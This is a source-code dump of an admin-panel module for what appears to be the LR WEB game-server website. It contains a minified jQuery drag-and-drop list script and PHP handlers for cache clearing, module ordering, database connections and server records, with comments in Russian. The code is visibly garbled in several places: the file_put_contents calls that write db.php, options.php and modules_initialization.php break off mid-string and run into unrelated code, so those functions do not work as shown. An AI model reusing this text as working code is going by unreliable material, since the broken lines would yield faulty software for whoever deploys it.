    '), d.each(this.el.find(s.options.itemNodeName), function (t, e) { s.setParent(d(e)) }), s.el.on("click", "button", function (t) { if (!s.dragEl) { var e = d(t.currentTarget); e.data("action"), e.parent(s.options.itemNodeName) } }); var t = function (t) { var e = d(t.target); if (!e.hasClass(s.options.handleClass)) { if (e.closest("." + s.options.noDragClass).length) return; e = e.closest("." + s.options.handleClass) } e.length && !s.dragEl && (s.isTouch = /^touch/.test(t.type), s.isTouch && 1 !== t.touches.length || (t.preventDefault(), s.dragStart(t.touches ? t.touches[0] : t))) }, e = function (t) { s.dragEl && s.dragMove(t.touches ? t.touches[0] : t) }, i = function (t) { s.dragEl && (t.preventDefault(), s.dragStop(t.touches ? t.touches[0] : t)) }; a && (s.el[0].addEventListener("touchstart", t, !1), h.addEventListener("touchmove", e, !1), h.addEventListener("touchend", i, !1), h.addEventListener("touchcancel", i, !1)), s.el.on("mousedown", t), s.w.on("mousemove", e), s.w.on("mouseup", i) }, serialize: function () { var i = this; return step = function (t, e) { var s = []; return t.children(i.options.itemNodeName).each(function () { var t = d(this), e = d.extend({}, t.data()); t.children(i.options.listNodeName); s.push(e) }), s }, step(i.el.find(i.options.listNodeName).first(), 0) }, serialise: function () { return this.serialize() }, reset: function () { this.mouse = { offsetX: 0, offsetY: 0, startX: 0, startY: 0, lastX: 0, lastY: 0, nowX: 0, nowY: 0, distX: 0, distY: 0, dirAx: 0, dirX: 0, dirY: 0, lastDirX: 0, lastDirY: 0, distAxX: 0, distAxY: 0 }, this.isTouch = !1, this.moving = !1, this.dragEl = null, this.dragRootEl = null, this.dragDepth = 0, this.hasNewRoot = !1, this.pointEl = null }, expandAll: function () { var t = this; t.el.find(t.options.itemNodeName).each(function () { t.expandItem(d(this)) }) }, setParent: function (t) { }, unsetParent: function (t) { }, dragStart: function (t) { var e = this.mouse, s = d(t.target), i = s.closest(this.options.itemNodeName); this.placeEl.css("height", i.height()), e.offsetX = t.offsetX !== l ? t.offsetX : t.pageX - s.offset().left, e.offsetY = t.offsetY !== l ? t.offsetY : t.pageY - s.offset().top, e.startX = e.lastX = t.pageX, e.startY = e.lastY = t.pageY, this.dragRootEl = this.el, this.dragEl = d(p.createElement(this.options.listNodeName)).addClass(this.options.listClass + " " + this.options.dragClass), this.dragEl.css("width", i.width()), i.after(this.placeEl), i[0].parentNode.removeChild(i[0]), i.appendTo(this.dragEl), d(p.body).append(this.dragEl), this.dragEl.css({ left: t.pageX - e.offsetX, top: t.pageY - e.offsetY }); var a, o, n = this.dragEl.find(this.options.itemNodeName); for (a = 0; a < n.length; a++) (o = d(n[a]).parents(this.options.listNodeName).length) > this.dragDepth && (this.dragDepth = o) }, dragStop: function (t) { var e = this.dragEl.children(this.options.itemNodeName).first(); e[0].parentNode.removeChild(e[0]), this.placeEl.replaceWith(e), this.dragEl.remove(), this.el.trigger("change"), this.hasNewRoot && this.dragRootEl.trigger("change"), this.reset() }, dragMove: function (t) { var e, s = this.options, i = this.mouse; this.dragEl.css({ left: t.pageX - i.offsetX, top: t.pageY - i.offsetY }), i.lastX = i.nowX, i.lastY = i.nowY, i.nowX = t.pageX, i.nowY = t.pageY, i.distX = i.nowX - i.lastX, i.distY = i.nowY - i.lastY, i.lastDirX = i.dirX, i.lastDirY = i.dirY, i.dirX = 0 === i.distX ? 0 : 0 < i.distX ? 1 : -1, i.dirY = 0 === i.distY ? 0 : 0 < i.distY ? 1 : -1; var a = Math.abs(i.distX) > Math.abs(i.distY) ? 1 : 0; if (!i.moving) return i.dirAx = a, void (i.moving = !0); i.dirAx !== a ? (i.distAxX = 0, i.distAxY = 0) : (i.distAxX += Math.abs(i.distX), 0 !== i.dirX && i.dirX !== i.lastDirX && (i.distAxX = 0), i.distAxY += Math.abs(i.distY), 0 !== i.dirY && i.dirY !== i.lastDirY && (i.distAxY = 0)), i.dirAx = a; var o = !1; if (c || (this.dragEl[0].style.visibility = "hidden"), this.pointEl = d(p.elementFromPoint(t.pageX - p.body.scrollLeft, t.pageY - (h.pageYOffset || p.documentElement.scrollTop))), c || (this.dragEl[0].style.visibility = "visible"), this.pointEl.hasClass(s.handleClass) && (this.pointEl = this.pointEl.parent(s.itemNodeName)), this.pointEl.hasClass(s.emptyClass)) o = !0; else if (!this.pointEl.length || !this.pointEl.hasClass(s.itemClass)) return; var n = this.pointEl.closest("." + s.rootClass), l = this.dragRootEl.data("nestable-id") !== n.data("nestable-id"); if (!i.dirAx || l || o) { if (l && s.group !== n.data("nestable-group")) return; if (this.dragDepth - 1 + this.pointEl.parents(s.listNodeName).length > s.maxDepth) return; var r = t.pageY < this.pointEl.offset().top + this.pointEl.height() / 2; this.placeEl.parent(), o ? ((e = d(p.createElement(s.listNodeName)).addClass(s.listClass)).append(this.placeEl), this.pointEl.replaceWith(e)) : r ? this.pointEl.before(this.placeEl) : this.pointEl.after(this.placeEl), this.dragRootEl.find(s.itemNodeName).length || this.dragRootEl.append('
    '), l && (this.dragRootEl = n, this.hasNewRoot = this.el[0] !== this.dragRootEl[0]) } } }, d.fn.nestable = function (e) { var s = this; return this.each(function () { var t = d(this).data("nestable"); t ? "string" == typeof e && "function" == typeof t[e] && (s = t[e]()) : (d(this).data("nestable", new i(this, e)), d(this).data("nestable-id", (new Date).getTime())) }), s || this } }(window.jQuery || window.Zepto, window, document), $(document).ready(function () { var t = function (t) { var e = t.length ? t : $(t.target), s = e.data("output"); window.JSON ? s.val(window.JSON.stringify(e.nestable("serialize"))) : s.val("JSON browser support required for this demo.") }; $("#nestable").nestable({group: 1}).on("change", t), t($("#nestable").data("output", $("#nestable-output"))) }), $(document).ready(function () { $("#load").hide(), $(".dd").on("change", function () { $("#load").show(); var t = {data: $("#nestable-output").val()}; $.ajax({ type: "POST", url: window.location.href, data: t, cache: !1, success: function (t) { $("#load").hide() }, error: function (t, e, s) { } }) }) }); } function delete_server(element) { $.post( window.location.href, { del_server: element.closest('tr').id } ); note({ content: 'Сервер удалён', type: 'success', time: 3 }); element.closest('tr').remove(); } function action_db_delete_table(id,element) { $.post( window.location.href, { function: "delete", table: element } ); note({ content: 'Таблица удалена', type: 'success', time: 3 }); id.closest('tr').remove(); $("tr." + element).remove(); } let doubleClickedCon = true; function addConection(){ if(doubleClickedCon){ doubleClickedCon = false; $.ajax({ url: window.location.href, type: 'post', data: $('#form-add-conection').serialize()+"&function=add_conection", success: function(response){ var jsonData = JSON.parse(response); if (!(typeof jsonData.success === 'undefined')){ note({ content: jsonData.success, type: 'success', time: 2 }); setTimeout(function(){window.location = window.location.href.replace(window.location.hash, '#');location.reload(true); } , 2000); } else{ setTimeout(function(){doubleClickedCon = true;} ,1000); note({ content: jsonData.error, type: 'error', time: 4 }); } }, }); } } function changeConnection(mod) { document.getElementById('con_mod_name').innerHTML = 'Мод: '+mod; document.getElementById('con_mod_id').value = mod; document.getElementById('add_conection_button').setAttribute("href", "#add_connect"); document.getElementById('custom_mod_wrapper').setAttribute("style", "display: none;"); document.getElementById('con_table_name').value = ""; document.getElementById('rank_pack_connection').setAttribute("style", "display: none;"); var select = document.querySelector('select[name="game_mod"]'); select[0].value = 730; select[0].textContent = 'CS:GO'; select[1].value = 240; select[1].textContent = 'CS:S'; if(mod == 'custom') { document.getElementById('custom_mod_wrapper').setAttribute("style", "display: block;"); } let db_hide = document.querySelectorAll('.con_active'); for (let i = 0; i < db_hide.length; i++) { db_hide[i].classList.remove("con_active"); } let db_show = document.querySelectorAll('.con_'+mod); for (let i = 0; i < db_show.length; i++) { db_show[i].classList.add("con_active"); } if (mod == 'LevelsRanks') { document.getElementById('con_table_name').value = "lvl_base"; document.getElementById('rank_pack_connection').setAttribute("style", "display: block;"); } else if (mod == 'Vips') { document.getElementById('con_table_name').value = "vip_"; } else if (mod == 'SourceBans') { document.getElementById('con_table_name').value = "sb_"; } else if (mod == 'lk'){ document.getElementById('con_table_name').value = "lk"; select[0].value = 1; select[0].textContent = 'LK Impulse'; select[1].value = 2; select[1].textContent = 'LK D4ck'; } } function changeConnect(value){ if (value == 'db') { document.getElementById('db_select_con').setAttribute("style", "display: none;"); document.getElementById('db_option_con').setAttribute("style", "display: flex;"); } else { document.getElementById('db_select_con').setAttribute("style", "display: block;"); document.getElementById('db_option_con').setAttribute("style", "display: none;"); } } function changeNameModule(){ let val = document.getElementById('mods').value; let db_show = document.querySelectorAll('.con_'+document.getElementById('custom_mod_name').value); for (let i = 0; i < db_show.length; i++) { db_show[i].classList.add("con_active"); } if (val == 'custom') { document.getElementById('con_mod_name').innerHTML = 'Mod: '+document.getElementById('custom_mod_name').value; document.getElementById('con_mod_id').value = document.getElementById('custom_mod_name').value; } } function show_hide_password(target){ var input = document.getElementById('con_password'); if (input.getAttribute('type') == 'password') { target.classList.add('view'); input.setAttribute('type', 'text'); } else { target.classList.remove('view'); input.setAttribute('type', 'password'); } return false; } function change_shablon(id) { if(id == 1) { // } } ================================================ FILE: app/modules/module_page_adminpanel/description.json ================================================ { "title": "LR WEB | Admin Panel [Alpha]", "info": "Administrator panel allows flexible management of LR WEB settings", "author": "M0st1ce", "page": "adminpanel", "version": "0.1", "required": { "core": "0.2", "php": "5.4" }, "setting": { "status": 1, "type": 1, "available_types": "1", "translation": 1, "interface": 1, "interface_adjacent": "afternavbar", "data": 1, "data_always": 1, "css": 1, "js": 1 } } ================================================ FILE: app/modules/module_page_adminpanel/ext/Admin.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ namespace app\modules\module_page_adminpanel\ext; use mysqli; class Admin { function __construct( $General, $Modules, $Auth, $Db , $Translate) { // Проверка на основную константу. defined('IN_LR') != true && die(); // Ведущая проверка. ( empty( $_SESSION['steamid32'] ) || ! isset( $_SESSION['user_admin'] ) ) && get_iframe( '013','Доступ закрыт' ) && die(); $this->General = $General; $this->Modules = $Modules; $this->Db = $Db; $this->Translate = $Translate; } //Позволяет обновить страницу без проблем с кавычками function ReloadPage() { header("Location: ?".$_SERVER['QUERY_STRING']); } // Очистка кеша шаблонов public function clear_templates_cache() { file_exists( SESSIONS . 'templates_cache.php' ) && unlink( SESSIONS . 'templates_cache.php' ); // Обновление страницы. $this->ReloadPage(); } /** * Полностью очистить кэш вэб-приложения включая кэш модулей. */ function action_clear_all_cache() { // Ссылки на кэшируемые файлы. $cache_files = [ 'modules_cache' => SESSIONS . 'modules_cache.php', 'translator_cache' => SESSIONS . 'translator_cache.php', 'css_and_js_actual_library_cache' => SESSIONS . 'actual_library.json', 'css_cache' => ASSETS_CSS . '/generation/style_generated.min.ver.' . $this->Modules->actual_library['actual_css_ver'] . '.css', 'js_cache' => ASSETS_JS . '/generation/app_generated.min.ver.' . $this->Modules->actual_library['actual_js_ver'] . '.js' ]; // Очищаем кэш каждого модуля. for ( $i = 0; $i < $this->Modules->array_modules_count; $i++ ): $module = array_keys( $this->Modules->array_modules )[ $i ]; // При существовании файла кэша, удалить его. file_exists( MODULES . $module . '/temp/cache.php' ) && unlink(MODULES . $module . '/temp/cache.php'); endfor; // Удаляем файл с описанием каждого модуля. file_exists( $cache_files['modules_cache'] ) && unlink( $cache_files['modules_cache'] ); // Удаляем файл с переводами. file_exists( $cache_files['translator_cache'] ) && unlink( $cache_files['translator_cache'] ); // Удаляем файл с информацией о актульаных версиях кэша стилей и JS библиотек. file_exists( $cache_files['css_and_js_actual_library_cache'] ) && unlink( $cache_files['css_and_js_actual_library_cache'] ); // Удаляем файл с генерируемыми стилями. file_exists( $cache_files['css_cache'] ) && unlink( $cache_files['css_cache'] ); // Удаляем файл с генерируемыми JS библиотекой. file_exists( $cache_files['js_cache'] ) && unlink( $cache_files['js_cache'] ); // Обновление страницы. $this->ReloadPage(); } //Немного видоизмененная функция взятая с $Modules, для получения списка модулей. public function GetArrModules() { $result = []; // Сканирование папки с модулями. $modules_list = array_diff( scandir( MODULES, 1 ), array( '..', '.', 'disabled' ) ); // Подсчёт количества модулей. $modules_count = sizeof( $modules_list ); if( $modules_count != 0 ) { // Цикл перебора описания модулей. for ( $i = 0; $i < $modules_count; $i++ ) { // Получение описания определенного модуля. $result[ $modules_list[ $i ] ] = json_decode( file_get_contents( MODULES . $modules_list[ $i ] . '/description.json') , true); } } return $result; } function arr_k_last($array) { if (!is_array($array) || empty($array)) { return NULL; } return array_keys($array)[count($array)-1]; } /** * Очистить порядок загрузки модулей. */ function action_clear_modules_initialization() { //Получение всех модулей, и их кол-во $array_modules = $this->GetArrModules(); $count_modules = sizeof($array_modules); //Итоговый цикл по всем модулям for ( $i = 0; $i < $count_modules; $i++ ): $module = array_keys( $array_modules )[ $i ]; if ($array_modules[ $module ]['setting']['status'] == 1 && $array_modules[ $module ]['required']['php'] <= PHP_VERSION && $array_modules[ $module ]['required']['core'] <= VERSION && $array_modules[ $module ]['page'] != 'all'): if( ! empty( $array_modules[ $module ]['setting']['interface'] ) && $array_modules[ $module ]['setting']['interface'] == 1 ): $result['page'][ $array_modules[ $module ]['page'] ]['interface'][ empty( $array_modules[ $module ]['setting']['interface_adjacent'] ) ? 'afternavbar' : $array_modules[ $module ]['setting']['interface_adjacent'] ][] = $module; endif; if( ! empty( $array_modules[ $module ]['setting']['interface_always'] ) && $array_modules[ $module ]['setting']['interface_always'] == 1 ): $result['interface_always'][ empty( $array_modules[ $module ]['setting']['interface_always_adjacent'] ) ? 'afternavbar' : $array_modules[ $module ]['setting']['interface_always_adjacent'] ][] = ['name' => $module ] ; endif; ! empty( $array_modules[ $module ]['setting']['data'] ) && $array_modules[ $module ]['setting']['data'] == 1 && $result['page'][ $array_modules[ $module ]['page'] ]['data'][] = $module; ! empty( $array_modules[ $module ]['setting']['data_always'] ) && $array_modules[ $module ]['setting']['data_always'] == 1 && $result['data_always'][] = $module; ! empty( $array_modules[ $module ]['setting']['js'] ) && $array_modules[ $module ]['setting']['js'] == 1 && $result['page'][ $array_modules[ $module ]['page'] ]['js'][] = ['name' => $module, 'type' => $array_modules[ $module ]['setting']['type']]; ! empty( $array_modules[ $module ]['setting']['css'] ) && $array_modules[ $module ]['setting']['css'] == 1 && $result['page'][ $array_modules[ $module ]['page'] ]['css'][] = ['name' => $module, 'type' => $array_modules[ $module ]['setting']['type']]; ! empty( $array_modules[ $module ]['sidebar'] ) && $result['sidebar'][] = $module; endif; endfor; if(file_exists(SESSIONS . 'modules_initialization.php')) { $cache = require SESSIONS . 'modules_initialization.php'; //Циклы на распределение в сайдбаре, и на главной foreach ($result['sidebar'] as $key => $val) { $search = array_search($val, $cache['sidebar']); if($cache['sidebar'][$search] == $val) $res[$search] = $val; else $res[$this->arr_k_last($result['sidebar'])] = $val; } foreach ($result['page']['home']['interface']['afternavbar'] as $key => $val) { $search = array_search($val, $cache['page']['home']['interface']['afternavbar']); if($cache['page']['home']['interface']['afternavbar'][$search] == $val) $restwo[$search] = $val; else $restwo[$this->arr_k_last($result['page']['home']['interface']['afternavbar'])] = $val; } //Сортировка массивов по ключам ksort($res); ksort($restwo); //Присваивание итоговому результату отсортированные массивы $result['sidebar'] = array_values($res); $result['page']['home']['interface']['afternavbar'] = array_values($restwo); } file_put_contents( SESSIONS . 'modules_initialization.php', 'action_clear_all_cache(); } /** * Редактирования порядка загрузки модулей. */ function edit_modules_initialization() { $array = $this->Modules->arr_module_init; $data = json_decode( $_POST['data'], true ); for ( $i2 = 0, $c = sizeof( $data ); $i2 < $c; $i2++ ) { $_data[] = $data[ $i2 ]['id']; } get_section( 'module_page', 'home' ) == 'sidebar' ? $array['sidebar'] = $_data : $array['page'][ get_section( 'module_page', 'home' ) ]['interface'][ get_section( 'module_interface_adjacent', 'afternavbar' ) ] = $_data; file_put_contents( SESSIONS . 'modules_initialization.php', ' SESSIONS . 'translator_cache.php']; // Удаляем файл с порядком инициализации модулей. file_exists( $cache_files['translator_cache'] ) && unlink( $cache_files['translator_cache'] ); // Обновление страницы. $this->ReloadPage(); } /** * Изменение параметров в '/storage/cache/sessions/options.php'. */ function edit_options() { $arr = $this->General->arr_general; $option = [ 'full_name' => $_POST['full_name'], 'short_name' => $_POST['short_name'], 'info' => $_POST['info'], 'language' => $_POST['language'], 'web_key' => $_POST['web_key'], 'avatars' => (int) $_POST['avatars'], 'avatars_cache_time' => (int) $_POST['avatars_cache_time'] ]; // Обновление файла. file_put_contents( SESSIONS . 'options.php', 'ReloadPage(); } /** * Изменение параметров в '/storage/cache/sessions/options.php'. */ function action_db_add_mods() { $db = require SESSIONS . '/db.php'; $db += [ $_POST['mod'] => []]; // Обновление файла. file_put_contents( SESSIONS . 'db.php', 'ReloadPage(); } function action_db_add_connection() { $db = require SESSIONS . '/db.php'; if($_POST['function'] == 'add_conection') { if (!isset($_POST['mod']) || !isset($_POST['type']) || $_POST['type'] != 'table' && $_POST['type'] != 'db') return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error')])); $mod = $_POST['mod']; $type = $_POST['type']; if ($type == 'db') { if (empty($_POST['host'])) return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_host')])); else $host = $_POST['host']; if (empty($_POST['db_name'])) return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_db')])); else $db_name = $_POST['db_name']; if (empty($_POST['password'])) return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_password')])); else $password = $_POST['password']; if (empty($_POST['username'])) return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_username')])); else $username = $_POST['username']; if (empty($_POST['port'])) return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_port')])); else $port = $_POST['port']; if (empty($_POST['table_name'])) return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_name_table')])); else $table_name = $_POST['table_name']; $server_name = empty($_POST['server_name']) ? '' : $_POST['server_name']; $steam_mod = empty($_POST['steam_mod']) ? '1' : $_POST['steam_mod']; $game_mod = empty($_POST['game_mod']) ? '730' : $_POST['game_mod']; if ($mod == 'LevelsRanks' && empty($_POST['rank_pack'])) { return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_rank_pack')])); } else $rank_pack = $_POST['rank_pack']; $query = ['HOST' => $host, 'PORT' => $port, 'USER' => $username, 'PASS' => $password, 'DB' =>[0 =>['DB' => $db_name,'Prefix' =>[0 =>['table' => $table_name, 'name' => $server_name,'mod' => $game_mod,'steam' => $steam_mod]]]]]; if ($mod == 'LevelsRanks') { $query['DB'][0]['Prefix'][0]['ranks_pack'] = $rank_pack; } $mysqli = new mysqli( $host, $username, $password, $db_name, $port ); if($mysqli->connect_error) return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_con_db')])); $mysqli->close(); if(empty($db[$mod])) { $db[$mod] = [0 => $query]; file_put_contents( SESSIONS . 'db.php', ' $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_success_mod_created')])); } else { $db[$mod][] = $query; file_put_contents( SESSIONS . 'db.php', ' $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_success_db_created')])); } } if ($type == 'table') { if (empty($db[$mod])) return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_create_db')])); if (empty($_POST['db_name_for_table']) || $_POST['db_name_for_table'] == '-1') { return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_enter_db')])); } else $db_name_for_table = $_POST['db_name_for_table']; if (empty($_POST['table_name'])) return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_name_table')])); else $table_name = $_POST['table_name']; if ($mod == 'LevelsRanks' && empty($_POST['rank_pack'])) return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_rank_pack')])); else $rank_pack = $_POST['rank_pack']; $server_name = empty($_POST['server_name']) ? '' : $_POST['server_name']; $steam_mod = empty($_POST['steam_mod']) ? '1' : $_POST['steam_mod']; $game_mod = empty($_POST['game_mod']) ? '730' : $_POST['game_mod']; foreach ($db[$mod] as $num => $connection) { if ($connection['DB'][0]['DB'] == $db_name_for_table) { $query = [ 'table' => $table_name, 'name' => $server_name, 'mod' => $steam_mod, 'steam' => $game_mod]; if ($mod == 'LevelsRanks') { $query['ranks_pack'] = $rank_pack; } $db[$mod][$num]['DB'][0]['Prefix'][] = $query; file_put_contents( SESSIONS . 'db.php', ' $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_success_table_created')])); } } return exit(json_encode(['error' => $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_db_not_found')])); } } if($_POST['function'] == 'delete') { if(!empty($db[$_POST['table']])) { unset($db[$_POST['table']]); file_put_contents( SESSIONS . 'db.php', ' $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_error_not_found')])); } /** * Добавление сервера */ function action_add_server() { $params = ['server_ip_port' => $_POST['server_ip_port'] ?? 0, 'server_ip_port_fake' => $_POST['server_ip_port_fake'] ?? 0, 'server_name' => $_POST['server_name'] ?? 0, 'server_name_custom' => $_POST['server_name_custom'] ?? 0, 'server_rcon' => $_POST['server_rcon'] ?? 0, 'server_stats' => $_POST['server_stats'] ?? 0, 'server_vip' => $_POST['server_vip'] ?? 0, 'server_vip_id' => $_POST['server_vip_id'] ?? 0, 'server_sb' => $_POST['server_sb'] ?? 0, 'server_shop' => $_POST['server_shop'] ?? 0, 'server_warnsystem' => $_POST['server_warnsystem'] ?? 0, 'server_lk' => $_POST['server_lk'] ?? 0 ]; $this->Db->query( 'Core', 0, 0, "INSERT INTO `lvl_web_servers` VALUES (NULL, :server_ip_port, :server_ip_port_fake, :server_name, :server_name_custom, :server_rcon, :server_stats, :server_vip, :server_vip_id, :server_sb, :server_shop, :server_warnsystem, :server_lk);", $params ); // Обновление страницы. $this->ReloadPage(); } /** * Удаление сервера */ function action_del_server() { $params = ['id' => $_POST['del_server']]; $this->Db->query( 'Core', 0, 0, 'DELETE FROM `lvl_web_servers` WHERE `id` = :id', $params ); } /** * Редактирование параметров определенного модуля. */ function edit_module() { $Module_data = $this->Modules->array_modules[ $_GET['options'] ]; // А где цикл то, что за беспредел? :D $Module_data['page'] = $_POST['module_page']; $Module_data['setting']['status'] = $_POST['module_offon'] == 'on' ? 1 : 0; $Module_data['setting']['type'] = (int) $_POST['module_type'] ?? 0; $Module_data['setting']['translation'] = $_POST['module_translation'] == 'on' ? 1 : 0; $Module_data['setting']['interface'] = $_POST['module_interface'] == 'on' ? 1 : 0; $Module_data['setting']['data'] = $_POST['module_data'] == 'on' ? 1 : 0; $Module_data['setting']['data_always'] = $_POST['module_data_always'] == 'on' ? 1 : 0; $Module_data['setting']['css'] = $_POST['module_css'] == 'on' ? 1 : 0; $Module_data['setting']['js'] = $_POST['module_js'] == 'on' ? 1 : 0; $Module_data['setting']['cache_enable'] = $_POST['module_cache_enable'] == 'on' ? 1 : 0; $Module_data['setting']['cache_time'] = (int) $_POST['module_cache_time'] ?? 0; file_put_contents( MODULES . $_GET['options'] . '/description.json', json_encode( $Module_data, JSON_UNESCAPED_UNICODE ) ); $modules_init = $this->Modules->arr_module_init; if( ! empty( $Module_data['sidebar'] ) && ! in_array( $_GET['options'], $modules_init['sidebar'] ) ) { $modules_init['sidebar'] =+ $_GET['options']; } file_put_contents( SESSIONS . '/modules_initialization.php', 'action_clear_all_cache(); } /** * Вывод графика посещения сайта. */ function charts_attendance() { $_Attendance = $this->Db->queryAll( 'Core', 0, 0, 'SELECT * FROM `lr_web_attendance` ORDER BY `id` DESC LIMIT 12' ); if($_Attendance) { foreach ($_Attendance as $key) { $_Year = explode('.', $key['date']); $_Vist_date[] = preg_replace( [ '/01.'.$_Year[1].'/', '/02.'.$_Year[1].'/', '/03.'.$_Year[1].'/', '/04.'.$_Year[1].'/', '/05.'.$_Year[1].'/', '/06.'.$_Year[1].'/', '/07.'.$_Year[1].'/', '/08.'.$_Year[1].'/', '/09.'.$_Year[1].'/', '/10.'.$_Year[1].'/', '/11.'.$_Year[1].'/', '/12.'.$_Year[1].'/' ], [ '"' . $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_Jan') . ' '.$_Year[1].'"', '"' . $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_Feb') . ' '.$_Year[1].'"', '"' . $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_Mar') . ' '.$_Year[1].'"', '"' . $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_Apr') . ' '.$_Year[1].'"', '"' . $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_May') . ' '.$_Year[1].'"', '"' . $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_Jun') . ' '.$_Year[1].'"', '"' . $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_Jul') . ' '.$_Year[1].'"', '"' . $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_Aug') . ' '.$_Year[1].'"', '"' . $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_Sep') . ' '.$_Year[1].'"', '"' . $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_Oct') . ' '.$_Year[1].'"', '"' . $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_Nov') . ' '.$_Year[1].'"', '"' . $this->Translate->get_translate_module_phrase( 'module_page_adminpanel','_Dec') . ' '.$_Year[1].'"', ], $key['date'] ); $_Visits[] = $key['visits']; } $_Attendance_All = $this->Db->queryOneColumn( 'Core', 0, 0, 'SELECT SUM(`visits`) FROM `lr_web_attendance`' ); $_Param['date'] = '%'.date('Y').'%'; $_Attendance_Year = $this->Db->queryOneColumn('Core', 0, 0, 'SELECT SUM(`visits`) FROM `lr_web_attendance` WHERE `date` LIKE :date', $_Param ); $_Online = $this->Db->queryOneColumn('Core', 0, 0, 'SELECT COUNT(`user`) FROM `lr_web_online`'); return $_Return = [ 'Date' => implode(',', array_reverse($_Vist_date)), 'Visits' => implode(',', array_reverse($_Visits)), 'Visits_All' => $_Attendance_All, 'Visits_Year' => $_Attendance_Year, 'Online' => $_Online ]; } } } ================================================ FILE: app/modules/module_page_adminpanel/forward/data.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ /** * Хуже не было давно - * Я пробиваю третье дно. * Море нечем потрясти. * Выживают лопасти. */ // Ведущая проверка. ( ! isset( $_SESSION['user_admin'] ) ) && get_iframe( '013','Доступ закрыт' ) && die(); // Импортирования класса для работы с панелью администратора. use app\ext\Pdox; use app\modules\module_page_adminpanel\ext\Admin; // Создаём экземпляр класса для работы с админкой $Admin = new Admin ( $General, $Modules, $Auth, $Db, $Translate ); # Убираем кеширование if( function_exists("opcache_reset") ) !empty( $_POST ) && opcache_reset(); # Настройки модулей // Нажатие на кнопку - Очистить кэш модулей. isset( $_POST['clear_cache_modules'] ) && $Admin->action_clear_all_cache(); // Нажатие на кнопку - Обновить список модулей. isset( $_POST['clear_modules_initialization'] ) && $Admin->action_clear_modules_initialization(); // Нажатие на кнопку - Очистить кэш перевоов. isset( $_POST['clear_translator_cache'] ) && $Admin->action_clear_translator_cache(); // Перемещение блоков - Порядок загрузки модулей. isset( $_POST['data'] ) && $Admin->edit_modules_initialization(); // Нажатие на кнопку - Настрйоки модуля -> Сохранить. isset( $_POST['module_save'] ) && $Admin->edit_module(); # Основные настройки // Нажатие на кнопку - Основные настройки -> Сохранить. isset( $_POST['option_one_save'] ) && $Admin->edit_options(); # Настройка базы данных // Нажатие на кнопку - Добавить мод. isset( $_POST['add_mods'] ) && $Admin->action_db_add_mods(); // Нажатие на кнопку - Добавить сервер. isset( $_POST['save_server'] ) && $Admin->action_add_server(); // Нажатие на кнопку - Удалить сервер. isset( $_POST['del_server'] ) && $Admin->action_del_server(); // Нажатие на кнопку - Добавить DB. isset( $_POST['function'] ) && $Admin->action_db_add_connection(); !empty($_GET['section']) && $_GET['section'] == 'stats' ? $Chart_Visits = $Admin->charts_attendance() : NULL; #Настройка шаблонов //Нажатие на кнопку - Очистить кеш шаблонов isset( $_POST['clear_templates_cache'] ) && $Admin->clear_templates_cache(); // Задаём заголовок страницы. $Modules->set_page_title( $General->arr_general['short_name'] . ' :: ' . $Translate->get_translate_phrase('_Admin_panel') ); ================================================ FILE: app/modules/module_page_adminpanel/forward/data_always.php ================================================ set_sidebar_select('module_page_adminpanel', ["href" =>"?page=adminpanel", "open_new_tab" =>"0", "icon_group" =>"zmdi", "icon_category" =>"", "icon" =>"coffee", "name" =>"_Admin_panel", "sidebar_directory" =>""]); ================================================ FILE: app/modules/module_page_adminpanel/forward/interface.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ ! isset( $_SESSION['user_admin'] ) && get_iframe( '013','Доступ закрыт' )?>
    ================================================ FILE: app/modules/module_page_adminpanel/includes/controller.php ================================================ * * @link https://steamcommunity.com/id/WizzarD_1/ * * @license GNU General Public License Version 3 */ // Отключаем вывод ошибок. error_reporting(E_ALL); ini_set('display_errors', 0); ini_set('display_startup_errors', 0); // Ограничиваем время выполнения скрипта. set_time_limit(4); // Нахожение в пространстве LR. define('IN_LR', true); // Основная директория вэб-приложения. define('APP', '../../../../app/'); // Основная директория вэб-приложения. define('STORAGE', '../../../../storage/'); // Директория содержащая основные блоки вэб-приложения. define('PAGE', APP . 'page/general/'); // Директория содержащая дополнительные блоки вэб-приложения. define('PAGE_CUSTOM', APP . 'page/custom/'); // Директория с модулями. define('MODULES', APP . 'modules/'); // Директория с основными конфигурационными файлами. define('INCLUDES', APP . 'includes/'); // Директория содержащая графические 